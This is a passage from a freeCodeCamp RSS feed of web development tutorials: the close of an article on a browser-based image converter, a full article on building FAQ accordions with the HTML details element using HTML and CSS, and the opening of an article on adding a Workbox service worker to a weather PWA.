<p>Once this basic converter works, you can expand it with additional features. For example, you could add image resizing so users can adjust dimensions before downloading the converted file. Another useful improvement is implementing drag-and-drop uploads, which makes the interface more user-friendly.</p>
<p>You might also support multiple file uploads so users can convert several images at once. Adding compression controls would allow users to balance image quality and file size. Finally, you could include an image preview before download so users can confirm the result before saving the file.</p>
<p>All of these improvements rely on the same browser APIs used in this tutorial, so once you understand the core logic, extending the project becomes much easier.</p>
<h2 id="heading-why-browser-based-tools-are-becoming-more-popular">Why Browser-Based Tools Are Becoming More Popular</h2>
<p>Browsers today are far more capable than they used to be. Modern browser APIs allow developers to handle tasks that previously required server-side processing.</p>
<p>For example, browsers can now perform image processing, generate PDFs, convert files into different formats, and even handle some types of video processing directly on the client side.</p>
<p>Because of these capabilities, developers can build tools that run entirely inside the browser without relying on a backend server. This approach improves performance since users don’t have to upload files and wait for a server to process them.</p>
<p>It also improves privacy because files stay on the user’s device instead of being sent to a remote server. At the same time, it simplifies system architecture and makes applications easier to scale since there is no server infrastructure needed for file processing.</p>
<h2 id="heading-demo-how-the-image-converter-works">Demo: How the Image Converter Works</h2>
<p>After building the project, here is what the tool looks like in the browser.</p>
<h3 id="heading-upload-an-image">Upload an Image</h3>
<p>First, the user uploads an image using the file upload area.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6979d22f93bc273cc33971b1/a11a29c5-32ff-4a08-a2bb-78a672ccde41.png" alt="Image upload interface showing drag and drop area" style="display:block;margin:0 auto" width="1603" height="608" loading="lazy">

<h3 id="heading-select-the-output-format">Select the Output Format</h3>
<p>After uploading the image, the tool displays a preview along with details such as the <strong>image name, format, and file size</strong>. This helps users confirm that they uploaded the correct file before converting it.</p>
<p>Next, the user can choose the desired output format from the dropdown menu. The tool supports formats such as <strong>PNG, JPEG, WebP, GIF, and BMP</strong>, allowing the image to be converted into the format that best fits the user's needs.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6979d22f93bc273cc33971b1/9be730b3-f9d0-4cb4-b110-5cb5bddddbb2.png" alt="Dropdown menu for selecting output image format" style="display:block;margin:0 auto" width="738" height="854" loading="lazy">

<h3 id="heading-convert-the-image">Convert the Image</h3>
<p>Once the format is selected, clicking the <strong>Convert All Images</strong> button processes the image directly in the browser.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6979d22f93bc273cc33971b1/bd54a90b-ddf0-4875-aec6-a414d5f9c421.png" alt="convert button used to process for the uplaoded imnage" style="display:block;margin:0 auto" width="717" height="64" loading="lazy">

<h3 id="heading-download-the-converted-image">Download the Converted Image</h3>
<p>After conversion is complete, the tool generates a downloadable file.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6979d22f93bc273cc33971b1/5c4ef749-9e0e-45f5-9a78-275866f10dfc.png" alt="converted image with download option" style="display:block;margin:0 auto" width="831" height="724" loading="lazy">

<h3 id="heading-conversion-results">Conversion Results</h3>
<p>The tool can also display useful information such as original size, converted size, and space saved after compression.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6979d22f93bc273cc33971b1/9c58dfc2-5b0b-4f18-a782-aea4e0fc868c.png" alt="image conversion result showing file size reduction " style="display:block;margin:0 auto" width="815" height="199" loading="lazy">

<p>Because everything happens in the browser using JavaScript and the Canvas API, the image never leaves the user's device.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>In this tutorial, you built a browser-based image converter using JavaScript.</p>
<p>In this tutorial, you learned how to read local image files using JavaScript, process images using the Canvas API, convert them into different formats, and allow users to download the result directly from the browser.</p>
<p>This pattern is useful far beyond image conversion.</p>
<p>You can use the same approach for many browser-based tools.</p>
<p>Understanding how to use browser APIs like this opens up a lot of possibilities for building fast, efficient web applications.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Build Simpler Accordion Menus with HTML <details> ]]>
                </title>
                <description>
                    <![CDATA[ Accordion menus are everywhere on the web because users want fast answers and smooth navigation. They help create clean, organized, and user-friendly interfaces. Many developers still reach for JavaScript to build accordions, which adds avoidable com... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-build-simpler-accordion-menus-with-html-details/</link>
                <guid isPermaLink="false">687e45310fc9d9c1bc2da5f7</guid>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                    <category>
                        <![CDATA[ CSS3 ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Ophy Boamah ]]>
                </dc:creator>
                <pubDate>Mon, 21 Jul 2025 13:48:33 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1753119637759/0fb5302d-c21c-4c0d-affb-3f891261aabf.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Accordion menus are everywhere on the web because users want fast answers and smooth navigation.</p>
<p>They help create clean, organized, and user-friendly interfaces. Many developers still reach for JavaScript to build accordions, which adds avoidable complexities to their projects.</p>
<p>The HTML <code>&lt;details&gt;</code> element solves this problem with its built-in disclosure widget that toggles content visibility using just a few lines of HTML and optional CSS.</p>
<p>In this article, we’ll look at an FAQ accordion built using <code>&lt;details&gt;</code>. You can see the final project <a class="post-section-overview" href="#heading-our-example-project">here</a>.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-what-is-the-html-element">What is the HTML <code>&lt;details&gt;</code> Element?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-an-faq-accordion-built-with-the-element">An FAQ Accordion Built with the <code>&lt;details&gt;</code> Element</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-browser-support-and-accessibility-considerations">Browser Support and Accessibility Considerations</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ul>
<h2 id="heading-what-is-the-html-element">What is the HTML <code>&lt;details&gt;</code> Element?</h2>
<p>The HTML <code>&lt;details&gt;</code> element is a disclosure widget that allows you to hide and show content with a single click. Think of it as a native accordion that comes built into HTML.</p>
<p>The most common use case for accordions is the Frequently Asked Questions (FAQ) section on many sites. If you’ve seen or interacted with an FAQ, that’s an opportunity to use <code>&lt;details&gt;</code>.</p>
<p>It has two main components:</p>
<ul>
<li><p><code>&lt;details&gt;</code> is the main container tag that opens and closes to display what’s in <code>&lt;summary&gt;</code>.</p>
</li>
<li><p><code>&lt;summary&gt;</code> is a container for the content that is displayed when <code>&lt;details&gt;</code> is clicked.</p>
</li>
</ul>
<p>💡 In addition to the <code>summary</code>, you can include any HTML text element within the <code>&lt;details&gt;</code> container.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752662432707/0d6ebbae-d68d-400f-9209-a83feec273b7.png" alt="0d6ebbae-d68d-400f-9209-a83feec273b7" class="image--center mx-auto" width="2714" height="1612" loading="lazy"></p>
<p>The image above shows a real-life use case of <code>&lt;details&gt;</code> on the Apple website. In a later section, we’ll learn about the browsers that support it.</p>
<h3 id="heading-when-to-use-over-javascript-alternatives">When to Use <code>&lt;details&gt;</code> over JavaScript alternatives</h3>
<p>Unlike JavaScript-based accordions that add weight to your project, <code>&lt;details&gt;</code> offers the same functionality with minimal load and better performance. It also offers built-in keyboard navigation and screen reader support.</p>
<p>Choose <code>&lt;details&gt;</code> over JavaScript-created accordions when:</p>
<ul>
<li><p>Building simple accordions or FAQ sections</p>
</li>
<li><p>Accessibility, performance, and SEO are a priority</p>
</li>
<li><p>You want to avoid JavaScript dependencies</p>
</li>
</ul>
<h2 id="heading-an-faq-accordion-built-with-the-element">An FAQ Accordion Built with the <code>&lt;details&gt;</code> Element</h2>
<p>Here’s what our example project looks like:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752662715342/74db7ba5-f7a6-44be-974c-36c0418c4a81.png" alt="Example project using the  element" class="image--center mx-auto" width="2432" height="1894" loading="lazy"></p>
<p>This design is by <a target="_blank" href="https://www.frontendmentor.io/?via=ophyboamah">Frontend Mentor</a> (and you can check out the project on <a target="_blank" href="https://codepen.io/ophyboamah/full/ByaRqaN">Codepen</a>).</p>
<p>To follow along, you need basic knowledge of HTML and CSS. Since the focus of this article is &lt;details&gt;, we won't place a lot of emphasis on the starting HTML and CSS code (available on the Codepen above). Instead, we'll look at one FAQ question with its answer to learn how &lt;details&gt; works.</p>
<h3 id="heading-how-to-use">How to Use <code>&lt;details&gt;</code></h3>
<p>To create an accordion with the <code>&lt;details&gt;</code> element, you need both the <code>&lt;details&gt;</code> and <code>&lt;summary&gt;</code> elements, as shown in the starter code below.</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">details</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">summary</span>&gt;</span>What is Frontend Mentor, and how will it help me?<span class="hljs-tag">&lt;/<span class="hljs-name">summary</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Frontend Mentor offers realistic coding challenges to help developers improve their frontend coding skills with projects in HTML, CSS, and JavaScript. It’s suitable for all levels and ideal for portfolio building.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">details</span>&gt;</span>
</code></pre>
<p>The GIF below will be the result after running the above code. With less than five lines of HTML code, we already have an accordion.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752662956079/25c66453-71ba-469c-8dd2-0f1b8e3b9d7f.gif" alt="25c66453-71ba-469c-8dd2-0f1b8e3b9d7f" class="image--center mx-auto" width="1384" height="480" loading="lazy"></p>
<h3 id="heading-styling">Styling <code>&lt;details&gt;</code></h3>
<p>Now, let's focus on transforming our basic accordion into something visually appealing (foundational styles can be found on the <a target="_blank" href="https://codepen.io/ophyboamah/full/ByaRqaN">Codepen</a>). First, we’ll add the icons as SVGs within <code>&lt;summary&gt;</code> with classes (closed-icon and open-icon) to make them easy to style.</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">details</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">summary</span>&gt;</span>What is Frontend Mentor, and how will it help me?
  <span class="hljs-tag">&lt;<span class="hljs-name">svg</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"closed-icon"</span> <span class="hljs-attr">xmlns</span>=<span class="hljs-string">"&lt;http://www.w3.org/2000/svg&gt;"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"closed-icon"</span> <span class="hljs-attr">width</span>=<span class="hljs-string">"30"</span> <span class="hljs-attr">height</span>=<span class="hljs-string">"31"</span> <span class="hljs-attr">viewBox</span>=<span class="hljs-string">"0 0 30 31"</span> <span class="hljs-attr">fill</span>=<span class="hljs-string">"none"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">path</span> <span class="hljs-attr">d</span>=<span class="hljs-string">"M15 3.3125C12.5895 3.3125 10.2332 4.02728 8.22899 5.36646C6.22477 6.70564 4.66267 8.60907 3.74022 10.836C2.81778 13.063 2.57643 15.5135 3.04668 17.8777C3.51694 20.2418 4.67769 22.4134 6.38214 24.1179C8.08659 25.8223 10.2582 26.9831 12.6223 27.4533C14.9865 27.9236 17.437 27.6822 19.664 26.7598C21.8909 25.8373 23.7944 24.2752 25.1335 22.271C26.4727 20.2668 27.1875 17.9105 27.1875 15.5C27.1835 12.2689 25.8981 9.17131 23.6134 6.88659C21.3287 4.60186 18.2311 3.31653 15 3.3125ZM19.6875 16.4375H15.9375V20.1875C15.9375 20.4361 15.8387 20.6746 15.6629 20.8504C15.4871 21.0262 15.2486 21.125 15 21.125C14.7514 21.125 14.5129 21.0262 14.3371 20.8504C14.1613 20.6746 14.0625 20.4361 14.0625 20.1875V16.4375H10.3125C10.0639 16.4375 9.82541 16.3387 9.64959 16.1629C9.47378 15.9871 9.375 15.7486 9.375 15.5C9.375 15.2514 9.47378 15.0129 9.64959 14.8371C9.82541 14.6613 10.0639 14.5625 10.3125 14.5625H14.0625V10.8125C14.0625 10.5639 14.1613 10.3254 14.3371 10.1496C14.5129 9.97377 14.7514 9.875 15 9.875C15.2486 9.875 15.4871 9.97377 15.6629 10.1496C15.8387 10.3254 15.9375 10.5639 15.9375 10.8125V14.5625H19.6875C19.9361 14.5625 20.1746 14.6613 20.3504 14.8371C20.5262 15.0129 20.625 15.2514 20.625 15.5C20.625 15.7486 20.5262 15.9871 20.3504 16.1629C20.1746 16.3387 19.9361 16.4375 19.6875 16.4375Z"</span> <span class="hljs-attr">fill</span>=<span class="hljs-string">"#AD28EB"</span>/&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">svg</span>&gt;</span> 
  <span class="hljs-tag">&lt;<span class="hljs-name">svg</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"open-icon"</span> <span class="hljs-attr">xmlns</span>=<span class="hljs-string">"&lt;http://www.w3.org/2000/svg&gt;"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"open-icon"</span> <span class="hljs-attr">width</span>=<span class="hljs-string">"30"</span> <span class="hljs-attr">height</span>=<span class="hljs-string">"31"</span> <span class="hljs-attr">viewBox</span>=<span class="hljs-string">"0 0 30 31"</span> <span class="hljs-attr">fill</span>=<span class="hljs-string">"none"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">path</span> <span class="hljs-attr">d</span>=<span class="hljs-string">"M15 3.3125C12.5895 3.3125 10.2332 4.02728 8.22899 5.36646C6.22477 6.70564 4.66267 8.60907 3.74022 10.836C2.81778 13.063 2.57643 15.5135 3.04668 17.8777C3.51694 20.2418 4.67769 22.4134 6.38214 24.1179C8.08659 25.8223 10.2582 26.9831 12.6223 27.4533C14.9865 27.9236 17.437 27.6822 19.664 26.7598C21.8909 25.8373 23.7944 24.2752 25.1335 22.271C26.4727 20.2668 27.1875 17.9105 27.1875 15.5C27.1841 12.2687 25.899 9.17076 23.6141 6.8859C21.3292 4.60104 18.2313 3.31591 15 3.3125ZM19.6875 16.4375H10.3125C10.0639 16.4375 9.82541 16.3387 9.64959 16.1629C9.47378 15.9871 9.37501 15.7486 9.37501 15.5C9.37501 15.2514 9.47378 15.0129 9.64959 14.8371C9.82541 14.6613 10.0639 14.5625 10.3125 14.5625H19.6875C19.9361 14.5625 20.1746 14.6613 20.3504 14.8371C20.5262 15.0129 20.625 15.2514 20.625 15.5C20.625 15.7486 20.5262 15.9871 20.3504 16.1629C20.1746 16.3387 19.9361 16.4375 19.6875 16.4375Z"</span> <span class="hljs-attr">fill</span>=<span class="hljs-string">"#301534"</span>/&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">svg</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">summary</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Frontend Mentor offers realistic coding challenges to help developers improve their frontend coding skills with projects in HTML, CSS, and JavaScript. It’s suitable for all levels and ideal for portfolio building.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">details</span>&gt;</span>
</code></pre>
<p>In the code below, we customize the disclosure marker by hiding the default arrow and adding a custom icon to the right using the <code>::marker</code> pseudo-element on <code>&lt;summary&gt;</code>. We also set its content as empty, which removes the marker altogether.</p>
<pre><code class="lang-css"><span class="hljs-comment">/* Styles for the clickable summary element*/</span>
<span class="hljs-selector-tag">summary</span> {
  <span class="hljs-attribute">font-weight</span>: <span class="hljs-number">700</span>;
  <span class="hljs-attribute">cursor</span>: pointer;
  <span class="hljs-attribute">display</span>: flex;
  <span class="hljs-attribute">align-items</span>: center;
  <span class="hljs-attribute">transition</span>: color <span class="hljs-number">0.2s</span> ease;
  <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">1em</span>;
  <span class="hljs-attribute">padding</span>: <span class="hljs-number">1.5em</span>;
<span class="hljs-comment">/* Remove the default marker */</span>
  &amp;::marker {
    <span class="hljs-attribute">content</span>: <span class="hljs-string">''</span>;
  }

  &amp;<span class="hljs-selector-pseudo">:last-child</span> { 
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">0</span>; 
  } 

  &amp;<span class="hljs-selector-pseudo">:hover</span> { 
    <span class="hljs-attribute">color</span>: <span class="hljs-built_in">var</span>(--text-accent);
    <span class="hljs-attribute">outline</span>: none;
  }
}

<span class="hljs-selector-tag">p</span> {
  <span class="hljs-attribute">padding-top</span>: <span class="hljs-number">1em</span>;
  <span class="hljs-attribute">color</span>: <span class="hljs-built_in">var</span>(--text-light);
}
<span class="hljs-comment">/* Styles for the collapsible &lt;details&gt; container */</span>
<span class="hljs-selector-tag">details</span> {
  <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">1em</span>;

  &amp;:last-child { 
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">0</span>; 
  }

  <span class="hljs-selector-class">.open-icon</span> {
    <span class="hljs-attribute">display</span>: none;
  }

  &amp;<span class="hljs-selector-attr">[open]</span> {
    .open-icon {
      <span class="hljs-attribute">display</span>: inline;
    }

    <span class="hljs-selector-class">.closed-icon</span> {
      <span class="hljs-attribute">display</span>: none;
    }
  }

  <span class="hljs-selector-class">.open-icon</span>,
  <span class="hljs-selector-class">.closed-icon</span> {
    <span class="hljs-attribute">width</span>: <span class="hljs-number">1.8em</span>; 
    <span class="hljs-attribute">height</span>: <span class="hljs-number">1.8em</span>;
    <span class="hljs-attribute">flex-shrink</span>: <span class="hljs-number">0</span>;
  }
}
</code></pre>
<p>The GIF below shows the output of styling our accordion with the CSS code above.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752663406898/3d033ac2-e9d4-4836-8f3b-816513802353.gif" alt="3d033ac2-e9d4-4836-8f3b-816513802353" class="image--center mx-auto" width="1404" height="480" loading="lazy"></p>
<p>To have an FAQ question expanded when the page loads, add the <code>open</code> attribute to <code>&lt;details&gt;</code>. This is particularly useful for highlighting important information where the most crucial FAQ starts expanded.</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">details</span> <span class="hljs-attr">open</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">summary</span>&gt;</span>What is Frontend Mentor, and how will it help me?<span class="hljs-tag">&lt;/<span class="hljs-name">summary</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">details</span>&gt;</span>
</code></pre>
<h2 id="heading-browser-support-and-accessibility-considerations">Browser Support and Accessibility Considerations</h2>
<p>According to <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/details">MDN</a>, <code>&lt;details&gt;</code> is a well established feature that works across many devices and the popular browsers (Chrome, Edge, Firefox, and Safari) since January 2020.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752663542331/33407311-a4db-47ab-bc9f-16baaed5d060.png" alt="33407311-a4db-47ab-bc9f-16baaed5d060" class="image--center mx-auto" width="1548" height="148" loading="lazy"></p>
<p><code>&lt;details&gt;</code> includes built-in accessibility features that requires additional JavaScript in custom solutions such as keyboard navigation, screen reader support, and semantic structure. You can also add attributes like role, aria-expanded, and aria-labelledby to ensure even more accessibility.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p><code>&lt;details&gt;</code> is a powerful yet under-utilized element for creating UI elements like accordions, FAQs, or navigation menus without JavaScript. It is easy to implement and lightweight, and yet improves user experience with interactive content.</p>
<p>So, the next time you need to create any collapsible content, with accessibility and performance in mind, consider reaching for <code>&lt;details&gt;</code> and it will surely make your development life easier.</p>
<p>Here are some helpful resources:</p>
<ul>
<li><p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details">MDN Documentation for <code>&lt;details&gt;</code></a></p>
</li>
<li><p><a target="_blank" href="https://css-tricks.com/quick-reminder-that-details-summary-is-the-easiest-way-ever-to-make-an-accordion/">CSS-Tricks Guide to Styling Details</a></p>
</li>
<li><p><a target="_blank" href="https://web.dev/learn/html/details/">Web.dev Learn HTML: Details</a></p>
</li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Implement a Service Worker with WorkBox in a Progressive Web App ]]>
                </title>
                <description>
                    <![CDATA[ Imagine having a web app that looks and feels just like a native mobile app. It launches from your home screen, runs in full-screen mode, and responds smoothly to your interactions. But here’s the surprising part: it wasn’t downloaded from an app sto... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/implement-a-service-worker-with-workbox-in-a-pwa/</link>
                <guid isPermaLink="false">68595d64f486735784954566</guid>
                
                    <category>
                        <![CDATA[ PWA ]]>
                    </category>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                    <category>
                        <![CDATA[ CSS ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Service Workers ]]>
                    </category>
                
                    <category>
                        <![CDATA[ workbox ]]>
                    </category>
                
                    <category>
                        <![CDATA[ progressive web apps ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ manifest ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Damilola Oniyide ]]>
                </dc:creator>
                <pubDate>Mon, 23 Jun 2025 13:57:56 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1750687028879/b12e57cb-290a-4562-8584-95eb5713a871.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Imagine having a web app that looks and feels just like a native mobile app. It launches from your home screen, runs in full-screen mode, and responds smoothly to your interactions. But here’s the surprising part: it wasn’t downloaded from an app store. It’s a Progressive Web App (PWA).</p>
<p>PWAs bring the power of the web to your fingertips with the experience of a mobile app. Even better? If you lose internet connection while on the go, the app can still function, showing your previously loaded data and getting updates once you’re back online.</p>
<p>In this tutorial, you’ll learn how to implement a service worker with WorkBox in a weather app using HTML, CSS, and JavaScript. We’ll start by understanding what a PWA is, the core components behind the scenes, especially service workers, and how to use Workbox to supercharge your app with offline capabilities.</p>
<h2 id="heading-table-of-contents">Table of Contents</h2>
<ul>
<li><p><a class="post-section-overview" href="#heading-what-well-cover">What We’ll Cover</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-what-is-a-progressive-web-app-pwa">What is a Progressive Web App (PWA)?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-what-makes-a-web-app-progressive">What Makes a Web App “Progressive”?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-components-of-a-pwa">Components of a PWA</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-what-is-a-service-worker-in-pwa">What is a Service Worker in PWA?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-why-use-workbox-instead-of-manual-service-workers">Why Use Workbox Instead of Manual Service Workers?</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-introduction-to-workbox">Introduction to WorkBox</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-project-setup">Project Setup</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-creating-the-offline-html-structure">Creating the Offline HTML Structure</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-styling-with-css">Styling with CSS</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-set-up-appjs-and-configjs">How to Set Up app.js and config.js</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-create-a-manifest-file">How to Create a Manifest File</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-add-workbox-to-your-service-workerjs-file">How to Add WorkBox to Your service-worker.js File</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-create-your-service-worker-in-the-service-workerjs-file">How to Create your Service Worker in the service-worker.js File</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-set-up-app-installation">How to Set Up App Installation</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-how-to-install-the-weather-app">How to Install the Weather App</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></p>
</li>
</ul>
<h2 id="heading-what-well-cover">What We’ll Cover</h2>
<ul>
<li><p><strong>Setting Up the Project:</strong> We'll build a simple weather app using HTML, CSS, and JavaScript. This approach is perfect for this tutorial because it keeps things simple and accessible while focusing on core PWA concepts without the added complexity of frameworks like React or Vue.</p>
</li>
<li><p><strong>Turning the App into a PWA:</strong> Next, we’ll walk through the concept of a Progressive Web App, covering the key features and best practices of PWAs.</p>
</li>
<li><p><strong>Implementing Service Worker via WorkBox:</strong> Finally, we’ll dive deeper into how service workers function and explore why using Workbox simplifies the process.</p>
</li>
</ul>
<p>Here’s what the final application will look like:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1747272664555/8ec876bc-0881-4a63-8010-02136de91db3.png" alt="Weatherly app interface showing Tokyo weather with 24°C temperature, overcast clouds, city search functionality, and location services button" class="image--center mx-auto" width="720" height="1417" loading="lazy"></p>
<h3 id="heading-audience"><strong>Audience</strong></h3>
<p>This tutorial is for web developers of all levels. Whether you're new to Progressive Web Apps (PWAs) or just starting to explore service workers, this guide will walk you through the core concepts and demonstrate why using a Google-backed library like Workbox to implement service workers can be more efficient than manual implementation.</p>
<h3 id="heading-prerequisites"><strong>Prerequisites</strong></h3>
<p>Before you begin</p>
<ol>
<li><p>Get a free API key from the <a target="_blank" href="https://openweathermap.org/">OpenWeatherAPI</a> website</p>
</li>
<li><p>Make sure you’re familiar with HTML, CSS, and JavaScript.</p>
</li>
<li><p>If you’re new to PWAs, you might want to read some introductory articles to get a quick overview.</p>
<ul>
<li><p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/Progressive_web_apps">Progressive web apps</a></p>
</li>
<li><p><a target="_blank" href="https://web.dev/articles/workbox">Workbox</a></p>
</li>
</ul>
</li>
</ol>
<h2 id="heading-what-is-a-progressive-web-app-pwa">What is a Progressive Web App (PWA)?</h2>
<p>A PWA is a web application that combines the best of web and mobile apps. It’s built using standard web technologies like HTML, CSS, and JavaScript, but it behaves and feels like a native mobile app on your phone or tablet.</p>
<p>Think of apps like Instagram Web, Twitter Lite, or Spotify Web Player. Even though you’re not using a native app from an app store:</p>
<ul>
<li><p>You can still scroll your feed, view media, and send messages.</p>
</li>
<li><p>It works even on slow or unstable networks.</p>
</li>
<li><p>You can “install” it on your home screen and launch it like a regular app.</p>
</li>
<li><p>You even get push notifications just like a mobile app!</p>
</li>
</ul>
<p>With PWAs, you get the reach of the web and the feel of an app without the heavy storage or installation process.</p>
<h2 id="heading-what-makes-a-web-app-progressive">What Makes a Web App “Progressive”?</h2>
<p>A PWA is not just any website. It’s built to progressively enhance the user experience, depending on their device and browser capabilities. Here are the core characteristics that define a PWA:</p>
<ul>
<li><p><strong>Responsive</strong>: Works on all screen sizes, that is, phones, tablets, and desktops.</p>
</li>
<li><p><strong>Reliable</strong>: Loads instantly, even when offline or on poor networks.</p>
</li>
<li><p><strong>Installable</strong>: Can be added to the home screen without needing an app store.</p>
</li>
<li><p><strong>Engaging</strong>: Supports features like push notifications and background sync.</p>
</li>
</ul>
<h2 id="heading-components-of-a-pwa"><strong>Compone</strong>nts of a PWA</h2>
<p>Before your web app can be considered a PWA, it must include the following:</p>
<h3 id="heading-a-web-application-manifest">A Web Application Manifest</h3>
<p>The web app manifest is a JSON file that tells the browser about your web app, how it should appear, and behave when installed on a user's device.</p>
<p>Think of it like your app’s business card. It includes details like:</p>
<ul>
<li><p><strong>App name and short name</strong> – How your app is labeled on the home screen or app list.</p>
</li>
<li><p><strong>Icons</strong> – Images used for app icons on different screen sizes and resolutions.</p>
</li>
<li><p><strong>Theme color and background color</strong> – Defines the look of your app’s UI and loading screen.</p>
</li>
<li><p><strong>Start URL</strong> – The page that opens when the app is launched.</p>
</li>
<li><p><strong>Display mode</strong> – Controls whether the app opens in a browser tab, fullscreen, or a native-like window.</p>
</li>
<li><p><strong>Screenshots</strong> – Optional preview images that show how your app looks on different devices in app stores or installation prompts.</p>
</li>
</ul>
<h3 id="heading-a-service-worker">A Service Worker</h3>
<p>This is a script that runs in the background. It handles offline behaviour, caching, background sync, and push notifications needed to make your PWA function.</p>
<p>More details about the service worker will be discussed later in this article.</p>
<h3 id="heading-https">HTTPS</h3>
<p>PWAs must be served over HTTPS. This is not optional. Here’s why:</p>
<ul>
<li><p>It protects users by ensuring secure data transfer.</p>
</li>
<li><p>It enables important features like service workers and push notifications.</p>
</li>
<li><p>Browsers won’t allow service workers to register on non-secure origins.</p>
</li>
</ul>
<p>If you're testing locally, you can use <a target="_blank" href="http://localhost"><code>localhost</code></a> (which is treated as secure), But for production, your site must have an SSL certificate.</p>
<h2 id="heading-what-is-a-service-worker-in-pwa">What is a Service Worker in PWA?</h2>
<p>In PWAs, a service worker is a JavaScript file that runs in the background, separate from your main app, and acts like a network proxy. It can:</p>
<ul>
<li><p>Cache resources and serve them offline</p>
</li>
<li><p>Intercept network requests and apply caching strategies</p>
</li>
<li><p>Handle background syncs</p>
</li>
<li><p>Manage push notifications</p>
</li>
</ul>
<p>Think of it as your app’s behind-the-scenes assistant—makes it load fast, works offline, and stays updated, even when you're not looking.</p>
<h2 id="heading-why-use-workbox-instead-of-manual-service-workers">Why Use Workbox Instead of Manual Service Workers?</h2>
<p>Service workers are essential in creating a PWA, but getting started with them can be challenging. Writing service worker code from scratch can often be tedious and prone to errors. For example, you'd need to:</p>
<ul>
<li><p>Manually configure caching strategies</p>
</li>
<li><p>Handle service worker updates</p>
</li>
<li><p>Write and maintain a lot of repetitive boilerplate code</p>
</li>
</ul>
<p>Workbox, a library from Google, makes things easier by letting developers focus on what matters, without worrying about the complicated parts of service workers.</p>
<p>However, it’s still important to understand how service workers function, since they handle some complex tasks under the hood.</p>
<p>Here are key things a service worker (with or without Workbox) does:</p>
<ul>
<li><p><strong>Install event</strong>: Set up cache</p>
</li>
<li><p><strong>Activate event</strong>: Clean up old caches</p>
